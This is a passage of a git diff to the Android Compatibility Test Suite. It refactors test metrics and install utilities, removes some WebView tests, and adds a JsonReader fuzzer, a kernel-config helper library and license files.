-    private static final String REPORT_LOG_NAME = "CtsUiHostTestCases";
     static final String PACKAGE = "com.replica.replicaisland";
     static final String APK = "com.replica.replicaisland.apk";
     private static final double OUTLIER_THRESHOLD = 0.1;
@@ -85,10 +85,6 @@
     }
 
     private void testInstallTime(boolean instant) throws Exception {
-        String streamName = "test_install_time";
-        MetricsReportLog report = new MetricsReportLog(mBuild, mAbi.getName(),
-                String.format("%s#%s", getClass().getName(), "testInstallTime"), REPORT_LOG_NAME,
-                streamName);
         final int NUMBER_REPEAT = 10;
         final CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
         final ITestDevice device = mDevice;
@@ -105,14 +101,26 @@
                 device.installPackage(app, false, options);
             }
         });
-        report.addValues("install_time", result, ResultType.LOWER_BETTER, ResultUnit.MS);
+        DoubleValues.Builder valuesBuilder = DoubleValues.newBuilder();
+        for (double r : result) {
+            valuesBuilder.addDoubleValue(r);
+        }
+        Metric.Builder metricsBuilder = Metric.newBuilder();
+        metricsBuilder.setMeasurements(
+                Measurements.newBuilder().setDoubleValues(valuesBuilder))
+                .setDirection(Directionality.DOWN_BETTER)
+                .setUnit("ms");
+        addTestMetric("install_time", metricsBuilder.build());
         Stat.StatResult stat = Stat.getStatWithOutlierRejection(result, OUTLIER_THRESHOLD);
         if (stat.mDataCount != result.length) {
             Log.w(TAG, "rejecting " + (result.length - stat.mDataCount) + " outliers");
         }
-        report.setSummary("install_time_average", stat.mAverage, ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-        report.submit();
+        addTestMetric("install_time_average",
+                Metric.newBuilder()
+                    .setMeasurements(Measurements.newBuilder().setSingleDouble(stat.mAverage))
+                    .setDirection(Directionality.DOWN_BETTER)
+                    .setUnit("ms")
+                    .build());
     }
 
 }
diff --git a/hostsidetests/webkit/TEST_MAPPING b/hostsidetests/webkit/TEST_MAPPING
index fcd8ab5..27c686e 100644
--- a/hostsidetests/webkit/TEST_MAPPING
+++ b/hostsidetests/webkit/TEST_MAPPING
@@ -3,5 +3,10 @@
     {
       "name": "CtsHostsideWebViewTests"
     }
+  ],
+  "hwasan-postsubmit": [
+    {
+      "name": "CtsHostsideWebViewTests"
+    }
   ]
 }
diff --git a/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideStartupTest.java b/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideStartupTest.java
index cb42a35..067d7da 100644
--- a/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideStartupTest.java
+++ b/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideStartupTest.java
@@ -16,12 +16,7 @@
 
 package com.android.cts.webkit;
 
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
 import android.net.http.SslError;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Looper;
 import android.os.StrictMode;
 import android.test.ActivityInstrumentationTestCase2;
 import android.test.UiThreadTest;
@@ -33,8 +28,6 @@
 import android.webkit.cts.CtsTestServer;
 import android.webkit.cts.WebViewSyncLoader;
 import android.webkit.cts.WebViewSyncLoader.WaitForLoadedClient;
-import android.webkit.cts.WebkitUtils;
-import android.webkit.WebView;
 
 import com.android.compatibility.common.util.NullWebViewUtils;
 
@@ -119,48 +112,6 @@
     }
 
     @UiThreadTest
-    public void testGetCurrentWebViewPackageOnUiThread() throws Throwable {
-        runCurrentWebViewPackageTest(true /* alreadyOnMainThread */);
-    }
-
-    public void testGetCurrentWebViewPackage() throws Throwable {
-        runCurrentWebViewPackageTest(false /* alreadyOnMainThread */);
-    }
-
-    private void runCurrentWebViewPackageTest(boolean alreadyOnMainThread) throws Exception {
-        PackageManager pm = mActivity.getPackageManager();
-        if (pm.hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
-            PackageInfo webViewPackage = WebView.getCurrentWebViewPackage();
-            // Ensure that getCurrentWebViewPackage returns a package recognized by the package
-            // manager.
-            assertPackageEquals(pm.getPackageInfo(webViewPackage.packageName, 0), webViewPackage);
-
-            // Create WebView on the app's main thread
-            if (alreadyOnMainThread) {
-                mActivity.createAndAttachWebView();
-            } else {
-                WebkitUtils.onMainThreadSync(() -> {
-                    mActivity.createAndAttachWebView();
-                });
-            }
-
-            // Ensure we are still using the same WebView package.
-            assertPackageEquals(webViewPackage, WebView.getCurrentWebViewPackage());
-        } else {
-            // if WebView isn't supported the API should return null.
-            assertNull(WebView.getCurrentWebViewPackage());
-        }
-    }
-
-    private void assertPackageEquals(PackageInfo expected, PackageInfo actual) {
-        if (expected == null) assertNull(actual);
-        assertEquals(expected.packageName, actual.packageName);
-        assertEquals(expected.versionCode, actual.versionCode);
-        assertEquals(expected.versionName, actual.versionName);
-        assertEquals(expected.lastUpdateTime, actual.lastUpdateTime);
-    }
-
-    @UiThreadTest
     public void testStrictModeNotViolatedOnStartup() throws Throwable {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
@@ -204,65 +155,4 @@
         syncLoader.detach();
     }
 
-    @UiThreadTest
-    public void testGetWebViewLooperOnUiThread() {
-        if (!NullWebViewUtils.isWebViewAvailable()) {
-            return;
-        }
-
-        createAndCheckWebViewLooper();
-    }
-
-    /**
-     * Ensure that a WebView created on the UI thread returns that thread as its creator thread.
-     * This ensures WebView.getWebViewLooper() is not implemented as 'return Looper.myLooper();'.
-     */
-    public void testGetWebViewLooperCreatedOnUiThreadFromInstrThread() {
-        if (!NullWebViewUtils.isWebViewAvailable()) {
-            return;
-        }
-
-        // Create the WebView on the UI thread and then ensure webview.getWebViewLooper() returns
-        // the UI thread.
-        WebView webView = WebkitUtils.onMainThreadSync(() -> {
-            return createAndCheckWebViewLooper();
-        });
-        assertEquals(Looper.getMainLooper(), webView.getWebViewLooper());
-    }
-
-    /**
-     * Ensure that a WebView created on a background thread returns that thread as its creator
-     * thread.
-     * This ensures WebView.getWebViewLooper() is not bound to the UI thread regardless of the
-     * thread it is created on..
-     */
-    public void testGetWebViewLooperCreatedOnBackgroundThreadFromInstThread()
-            throws InterruptedException {
-        if (!NullWebViewUtils.isWebViewAvailable()) {
-            return;
-        }
-
-        // Create a WebView on a background thread, check it from the UI thread
-        final WebView webviewHolder[] = new WebView[1];
-
-        // Use a HandlerThread, because such a thread owns a Looper.
-        HandlerThread backgroundThread = new HandlerThread("WebViewLooperCtsHandlerThread");
-        backgroundThread.start();
-        new Handler(backgroundThread.getLooper()).post(new Runnable() {
-            @Override
-            public void run() {
-                webviewHolder[0] = createAndCheckWebViewLooper();
-            }
-        });
-        backgroundThread.join(TEST_TIMEOUT_MS);
-        assertEquals(backgroundThread.getLooper(), webviewHolder[0].getWebViewLooper());
-    }
-
-    private WebView createAndCheckWebViewLooper() {
-        // Ensure we are running this on a thread with a Looper - otherwise there's no point.
-        assertNotNull(Looper.myLooper());
-        WebView webview = new WebView(mActivity);
-        assertEquals(Looper.myLooper(), webview.getWebViewLooper());
-        return webview;
-    }
 }
diff --git a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
index d403618..37fecb2 100644
--- a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
+++ b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
@@ -42,31 +42,10 @@
         assertDeviceTestPasses("testCookieManagerBlockingUiThread");
     }
 
-    public void testWebViewVersionApiOnUiThread() throws DeviceNotAvailableException {
-        assertDeviceTestPasses("testGetCurrentWebViewPackageOnUiThread");
-    }
-
-    public void testWebViewVersionApi() throws DeviceNotAvailableException {
-        assertDeviceTestPasses("testGetCurrentWebViewPackage");
-    }
-
     public void testStrictMode() throws DeviceNotAvailableException {
         assertDeviceTestPasses("testStrictModeNotViolatedOnStartup");
     }
 
-    public void testGetWebViewLooperOnUiThread() throws DeviceNotAvailableException {
-        assertDeviceTestPasses("testGetWebViewLooperOnUiThread");
-    }
-
-    public void testGetWebViewLooperFromUiThread() throws DeviceNotAvailableException {
-        assertDeviceTestPasses("testGetWebViewLooperCreatedOnUiThreadFromInstrThread");
-    }
-
-    public void testGetWebViewLooperCreatedOnBackgroundThreadFromInstThread()
-            throws DeviceNotAvailableException {
-        assertDeviceTestPasses("testGetWebViewLooperCreatedOnBackgroundThreadFromInstThread");
-    }
-
     private void assertDeviceTestPasses(String testMethodName) throws DeviceNotAvailableException {
         TestRunResult testRunResult = runSingleDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG,
                                                  DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
diff --git a/libs/deviceutillegacy/src/android/webkit/cts/OWNERS b/libs/deviceutillegacy/src/android/webkit/cts/OWNERS
new file mode 100644
index 0000000..a30553b
--- /dev/null
+++ b/libs/deviceutillegacy/src/android/webkit/cts/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 76427
+file:/tests/tests/webkit/OWNERS
diff --git a/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java b/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
index 6e64204..48f8c55 100644
--- a/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
+++ b/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
@@ -71,6 +71,8 @@
      * A new WebViewOnUiThread should be called during setUp so as to
      * reinitialize between calls.
      *
+     * The caller is responsible for destroying the WebView instance.
+     *
      * @param webView The webView that the methods should call.
      */
     public WebViewOnUiThread(WebView webView) {
diff --git a/libs/deviceutillegacy/src/android/webkit/cts/WebViewSyncLoader.java b/libs/deviceutillegacy/src/android/webkit/cts/WebViewSyncLoader.java
index d856480..7976f1f 100644
--- a/libs/deviceutillegacy/src/android/webkit/cts/WebViewSyncLoader.java
+++ b/libs/deviceutillegacy/src/android/webkit/cts/WebViewSyncLoader.java
@@ -105,11 +105,10 @@
         mWebView.setWebChromeClient(null);
         mWebView.setWebViewClient(null);
         mWebView.setPictureListener(null);
-        mWebView = null;
     }
 
     /**
-     * Detach listeners, and destroy this webview.
+     * Detach listeners.
      */
     public void destroy() {
         if (!isUiThread()) {
@@ -120,7 +119,6 @@
         detach();
         webView.clearHistory();
         webView.clearCache(true);
-        webView.destroy();
     }
 
     /**
diff --git a/libs/input/src/com/android/cts/input/VirtualInputDevice.java b/libs/input/src/com/android/cts/input/VirtualInputDevice.java
index 5c8879c..483b454 100644
--- a/libs/input/src/com/android/cts/input/VirtualInputDevice.java
+++ b/libs/input/src/com/android/cts/input/VirtualInputDevice.java
@@ -227,10 +227,15 @@
             return;
         }
         // Check if the device is what we expected
-        if (device.getVendorId() == mVendorId && device.getProductId() == mProductId
-                && (device.getSources() & mSources) == mSources) {
-            mDeviceId = device.getId();
-            mDeviceAddedSignal.countDown();
+        if (device.getVendorId() == mVendorId && device.getProductId() == mProductId) {
+            if ((device.getSources() & mSources) == mSources) {
+                mDeviceId = device.getId();
+                mDeviceAddedSignal.countDown();
+            } else {
+                Log.i(TAG, "Mismatching sources for " + device);
+            }
+        } else {
+            Log.w(TAG, "Unexpected input device: " + device);
         }
     }
 
diff --git a/libs/install/src/android/cts/install/lib/host/InstallUtilsHost.java b/libs/install/src/android/cts/install/lib/host/InstallUtilsHost.java
index f6de85b..9e0050a 100644
--- a/libs/install/src/android/cts/install/lib/host/InstallUtilsHost.java
+++ b/libs/install/src/android/cts/install/lib/host/InstallUtilsHost.java
@@ -25,6 +25,7 @@
 import com.android.tradefed.build.BuildInfoKey;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.invoker.TestInformation;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.CommandResult;
 import com.android.tradefed.util.CommandStatus;
@@ -38,6 +39,7 @@
 import java.io.File;
 import java.io.IOException;
 import java.time.Duration;
+import java.util.List;
 import java.util.Optional;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
@@ -51,24 +53,31 @@
             ".*package:\\sname='(\\S+)\\'\\sversionCode='(\\d+)'\\s.*";
 
     private final IRunUtil mRunUtil = new RunUtil();
-    private final BaseHostJUnit4Test mTest;
+    private BaseHostJUnit4Test mTest = null;
+    private TestInformation mTestInfo = null;
 
     public InstallUtilsHost(BaseHostJUnit4Test test) {
         mTest = test;
     }
 
+    public InstallUtilsHost(TestInformation testInfo) {
+        assertThat(testInfo).isNotNull();
+        mTestInfo = testInfo;
+    }
+
     /**
      * Return {@code true} if and only if device supports updating apex.
      */
     public boolean isApexUpdateSupported() throws Exception {
-        return mTest.getDevice().getBooleanProperty("ro.apex.updatable", false);
+        return getTestInfo().getDevice().getBooleanProperty("ro.apex.updatable", false);
     }
 
     /**
      * Return {@code true} if and only if device supports file system checkpoint.
      */
     public boolean isCheckpointSupported() throws Exception {
-        CommandResult result = mTest.getDevice().executeShellV2Command("sm supports-checkpoint");
+        CommandResult result = getTestInfo().getDevice().executeShellV2Command(
+                "sm supports-checkpoint");
         assertWithMessage("Failed to check if file system checkpoint is supported : %s",
                 result.getStderr()).that(result.getStatus()).isEqualTo(CommandStatus.SUCCESS);
         return "true".equals(result.getStdout().trim());
@@ -95,11 +104,12 @@
         }
         // Non system version is active, need to uninstall it and reboot the device.
         Log.i(TAG, "Uninstalling shim apex");
-        final String errorMessage = mTest.getDevice().uninstallPackage(SHIM_APEX_PACKAGE_NAME);
+        final String errorMessage =
+                getTestInfo().getDevice().uninstallPackage(SHIM_APEX_PACKAGE_NAME);
         if (errorMessage != null) {
             Log.e(TAG, "Failed to uninstall " + SHIM_APEX_PACKAGE_NAME + " : " + errorMessage);
         } else {
-            mTest.getDevice().reboot();
+            getTestInfo().getDevice().reboot();
             final ITestDevice.ApexInfo shim = getShimApex().orElseThrow(
                     () -> new AssertionError("Can't find " + SHIM_APEX_PACKAGE_NAME));
             assertThat(shim.versionCode).isEqualTo(1L);
@@ -111,7 +121,7 @@
      * Returns the active shim apex as optional.
      */
     public Optional<ITestDevice.ApexInfo> getShimApex() throws DeviceNotAvailableException {
-        return mTest.getDevice().getActiveApexes().stream().filter(
+        return getTestInfo().getDevice().getActiveApexes().stream().filter(
                 apex -> apex.name.equals(SHIM_APEX_PACKAGE_NAME)).findAny();
     }
 
@@ -137,7 +147,7 @@
      * Installs packages using staged install flow and waits for pre-reboot verification to complete
      */
     public String installStagedPackage(File pkg) throws Exception {
-        return mTest.getDevice().installPackage(pkg, false, "--staged");
+        return getTestInfo().getDevice().installPackage(pkg, false, "--staged");
     }
 
     /**
@@ -149,7 +159,7 @@
         for (int i = 0; i < filenames.length; i++) {
             args[i + 1] = getTestFile(filenames[i]).getAbsolutePath();
         }
-        String stdout = mTest.getDevice().executeAdbCommand(args);
+        String stdout = getTestInfo().getDevice().executeAdbCommand(args);
         assertThat(stdout).isNotNull();
     }
 
@@ -159,7 +169,7 @@
     public void waitForFileDeleted(String filePath, Duration timeout) throws Exception {
         Stopwatch stopwatch = Stopwatch.createStarted();
         while (true) {
-            if (!mTest.getDevice().doesFileExist(filePath)) {
+            if (!getTestInfo().getDevice().doesFileExist(filePath)) {
                 return;
             }
             if (stopwatch.elapsed().compareTo(timeout) > 0) {
@@ -178,16 +188,15 @@
     public File getTestFile(String testFileName) throws IOException {
         File testFile = null;
 
-        String testcasesPath = System.getenv(
-                SystemUtil.EnvVariable.ANDROID_HOST_OUT_TESTCASES.toString());
-        if (testcasesPath != null) {
-            testFile = searchTestFile(new File(testcasesPath), testFileName);
-        }
-        if (testFile != null) {
-            return testFile;
+        final List<File> testCasesDirs = SystemUtil.getTestCasesDirs(getTestInfo().getBuildInfo());
+        for (File testCasesDir : testCasesDirs) {
+            testFile = searchTestFile(testCasesDir, testFileName);
+            if (testFile != null) {
+                return testFile;
+            }
         }
 
-        File hostLinkedDir = mTest.getBuild().getFile(
+        File hostLinkedDir = getTestInfo().getBuildInfo().getFile(
                 BuildInfoKey.BuildInfoFileKey.HOST_LINKED_DIR);
         if (hostLinkedDir != null) {
             testFile = searchTestFile(hostLinkedDir, testFileName);
@@ -197,7 +206,7 @@
         }
 
         // Find the file in the buildinfo.
-        File buildInfoFile = mTest.getBuild().getFile(testFileName);
+        File buildInfoFile = getTestInfo().getBuildInfo().getFile(testFileName);
         if (buildInfoFile != null) {
             return buildInfoFile;
         }
@@ -228,5 +237,11 @@
         return result.getStdout();
     }
 
-
+    private TestInformation getTestInfo() {
+        if (mTestInfo == null) {
+            mTestInfo = mTest.getTestInformation();
+            assertThat(mTestInfo).isNotNull();
+        }
+        return mTestInfo;
+    }
 }
diff --git a/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java b/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java
index d37b3cf..787bfdb 100644
--- a/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java
+++ b/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java
@@ -21,11 +21,14 @@
 import android.content.Intent;
 import android.content.res.Resources;
 import android.os.Process;
+import android.system.ErrnoException;
+import android.system.Os;
 
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.PrintWriter;
+import java.nio.charset.StandardCharsets;
 import java.util.Scanner;
 
 /**
@@ -109,9 +112,20 @@
                 throw new UserDataException("User handle expected to be: " + userHandle
                         + ", but was actually " + readUserHandle);
             }
+
+            int xattrVersion = Integer.valueOf(
+                    new String(Os.getxattr(versionFile.getAbsolutePath(), "user.test")));
+
+            if (xattrVersion > appVersion) {
+                throw new UserDataException("xattr data is from version " + xattrVersion
+                        + ", which is not compatible with this version " + appVersion
+                        + " of the RollbackTestApp");
+            }
         } catch (FileNotFoundException e) {
             // No problem. This is a fresh install of the app or the user data
             // has been wiped.
+        } catch (ErrnoException e) {
+            throw new UserDataException("Error while retrieving xattr.", e);
         }
 
         // Record the current version of the app in the user data.
@@ -120,8 +134,12 @@
             pw.println(appVersion);
             pw.println(userHandle);
             pw.close();
+            Os.setxattr(versionFile.getAbsolutePath(), "user.test",
+                    Integer.toString(appVersion).getBytes(StandardCharsets.UTF_8), 0);
         } catch (IOException e) {
             throw new UserDataException("Unable to write user data.", e);
+        } catch (ErrnoException e) {
+            throw new UserDataException("Unable to set xattr.", e);
         }
     }
 
diff --git a/libs/json/fuzzers/Android.bp b/libs/json/fuzzers/Android.bp
new file mode 100644
index 0000000..d6f7f0d
--- /dev/null
+++ b/libs/json/fuzzers/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_fuzz_host {
+    name: "json-reader-fuzzer",
+    srcs: [
+        "JsonReaderFuzzer.java",
+    ],
+    static_libs: [
+        "jazzer",
+        "jsonlib",
+    ],
+}
diff --git a/libs/json/fuzzers/JsonReaderFuzzer.java b/libs/json/fuzzers/JsonReaderFuzzer.java
new file mode 100644
index 0000000..171808d
--- /dev/null
+++ b/libs/json/fuzzers/JsonReaderFuzzer.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+import com.android.json.stream.JsonReader;
+
+import com.code_intelligence.jazzer.api.FuzzedDataProvider;
+
+import java.io.IOException;
+import java.io.Reader;
+import java.io.StringReader;
+
+/**
+ * JsonReaderFuzzer contains fuzzerTestOneInput(...) method to fuzz JsonReader
+ * using the jazzer fuzzing engine.
+ */
+public class JsonReaderFuzzer {
+    /**
+     * fuzzerTestOneInput(FuzzedDataProvider data) is called by the jazzer
+     * fuzzing engine repeatedly with random inputs to try and crash the code
+     * in JsonReader.
+     * @param data
+     * argument of type FuzzedDataProvider to provide easy access to various
+     * data types to feed into the fuzzer program.
+     */
+    public static void fuzzerTestOneInput(FuzzedDataProvider data) {
+        String initString = data.consumeRemainingAsString();
+        Reader in = new StringReader(initString);
+        JsonReader jsonReader = new JsonReader(in);
+        boolean hasNext = true;
+        while (hasNext) {
+            try {
+                hasNext = jsonReader.hasNext();
+            } catch (IOException e) {
+                break;
+            }
+            try {
+                jsonReader.nextString();
+            } catch (IOException | IllegalStateException e) {
+                break;
+            }
+        }
+    }
+}
diff --git a/libs/kernelinfo/Android.bp b/libs/kernelinfo/Android.bp
new file mode 100644
index 0000000..5fcbf38
--- /dev/null
+++ b/libs/kernelinfo/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library_static {
+    name: "cts-kernelinfo-lib",
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.kt",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+    ],
+}
diff --git a/libs/kernelinfo/OWNERS b/libs/kernelinfo/OWNERS
new file mode 100644
index 0000000..1344314
--- /dev/null
+++ b/libs/kernelinfo/OWNERS
@@ -0,0 +1,7 @@
+arthurhung@google.com
+hcutts@google.com
+joseprio@google.com
+michaelwr@google.com
+prabirmsp@google.com
+svv@google.com
+vdevmurari@google.com
\ No newline at end of file
diff --git a/libs/kernelinfo/src/com/android/cts/kernelinfo/KernelInfo.kt b/libs/kernelinfo/src/com/android/cts/kernelinfo/KernelInfo.kt
new file mode 100644
index 0000000..1ce3bd9
--- /dev/null
+++ b/libs/kernelinfo/src/com/android/cts/kernelinfo/KernelInfo.kt
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.kernelinfo
+
+import android.app.UiAutomation
+import android.os.ParcelFileDescriptor
+import android.os.VintfRuntimeInfo
+import android.text.TextUtils
+import android.util.Pair
+import androidx.test.platform.app.InstrumentationRegistry
+import java.io.BufferedReader
+import java.io.InputStream
+import java.io.InputStreamReader
+import java.util.regex.Pattern
+import java.util.stream.Collectors
+import org.junit.Assert.fail
+
+private fun isComment(s: String): Boolean {
+    return s.trim().startsWith("#")
+}
+
+private fun compareMajorMinorVersion(s1: String, s2: String): Int {
+    val v1: Pair<Int, Int> = getVersionFromString(s1)
+    val v2: Pair<Int, Int> = getVersionFromString(s2)
+    return if (v1.first == v2.first) {
+        Integer.compare(v1.second, v2.second)
+    } else {
+        Integer.compare(v1.first, v2.first)
+    }
+}
+
+private fun getVersionFromString(version: String): Pair<Int, Int> {
+    // Only gets major and minor number of the version string.
+    val versionPattern = Pattern.compile("^(\\d+)(\\.(\\d+))?.*")
+    val m = versionPattern.matcher(version)
+    if (!m.matches()) {
+        fail("Cannot parse kernel version: $version")
+    }
+    val major = m.group(1).toInt()
+    val minor = if (TextUtils.isEmpty(m.group(3))) 0 else m.group(3).toInt()
+    return Pair(major, minor)
+}
+
+/**
+ * A class that reads various kernel properties
+ */
+abstract class KernelInfo {
+    companion object {
+        /*
+         * The kernel configs on this device. The value is cached.
+         */
+        private val sConfigs: Set<String>
+
+        /**
+         * Return true if the specified config is enabled, false otherwise.
+         */
+        @JvmStatic
+        fun hasConfig(config: String): Boolean {
+            return sConfigs.contains("$config=y") || sConfigs.contains("$config=m")
+        }
+
+        /**
+         * Return true if the device's kernel version is newer than the provided version,
+         * false otherwise
+         */
+        @JvmStatic
+        fun isKernelVersionGreaterThan(version: String): Boolean {
+            val actualVersion = VintfRuntimeInfo.getKernelVersion()
+            return compareMajorMinorVersion(actualVersion, version) > 0
+        }
+
+        init {
+            val automation: UiAutomation = InstrumentationRegistry.getInstrumentation().uiAutomation
+            // Access /proc/config.gz from the shell domain, because it cannot be accessed from the
+            // app domain
+            val stdout: ParcelFileDescriptor =
+                    automation.executeShellCommand("zcat /proc/config.gz")
+            val inputStream: InputStream = ParcelFileDescriptor.AutoCloseInputStream(stdout)
+            inputStream.use {
+                val reader = BufferedReader(InputStreamReader(inputStream))
+                // Remove any lines that are comments
+                sConfigs = reader.lines().filter { !isComment(it) }.collect(Collectors.toSet())
+            }
+        }
+    }
+}
diff --git a/libs/testserver/Android.bp b/libs/testserver/Android.bp
index 56a0921..295c286 100644
--- a/libs/testserver/Android.bp
+++ b/libs/testserver/Android.bp
@@ -14,12 +14,17 @@
 
 package {
     // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-BSD
-    default_applicable_licenses: ["cts_license"],
+    default_applicable_licenses: [
+        "cts_libs_testserver_license", // BSD
+        "Android-Apache-2.0",
+    ],
+}
+
+license {
+    name: "cts_libs_testserver_license",
+    package_name: "Android Testserver CTS",
+    license_kinds: ["SPDX-license-identifier-BSD"],
+    license_text: ["LICENSE_BSD"],
 }
 
 java_library {
diff --git a/libs/testserver/LICENSE_BSD b/libs/testserver/LICENSE_BSD
new file mode 100644
index 0000000..063941f
--- /dev/null
+++ b/libs/testserver/LICENSE_BSD
@@ -0,0 +1,25 @@
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+   * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+   * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+   * Neither the name of Google Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/suite/audio_quality/Android.mk b/suite/audio_quality/Android.mk
deleted file mode 100644
index 9cf5dc8..0000000
--- a/suite/audio_quality/Android.mk
+++ /dev/null
@@ -1,55 +0,0 @@
-#
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-# build only for linux
-ifeq ($(HOST_OS),linux)
-
-CTS_AUDIO_TOP:= $(call my-dir)
-
-include $(call all-makefiles-under,$(CTS_AUDIO_TOP))
-
-CTS_AUDIO_INSTALL_DIR := $(HOST_OUT)/cts-audio-quality/android-cts-audio-quality
-CTS_AUDIO_QUALITY_ZIP := $(HOST_OUT)/cts-audio-quality/android-cts-audio-quality.zip
-
-cts_audio_quality_client_apk := $(TARGET_OUT_DATA_APPS)/CtsAudioClient/CtsAudioClient.apk
-cts_audio_quality_host_bins := $(ALL_MODULES.cts_audio_quality_test.INSTALLED) $(ALL_MODULES.cts_audio_quality.INSTALLED)
-$(CTS_AUDIO_QUALITY_ZIP): PRIVATE_CLIENT_APK := $(cts_audio_quality_client_apk)
-$(CTS_AUDIO_QUALITY_ZIP): PRIVATE_HOST_BINS := $(cts_audio_quality_host_bins)
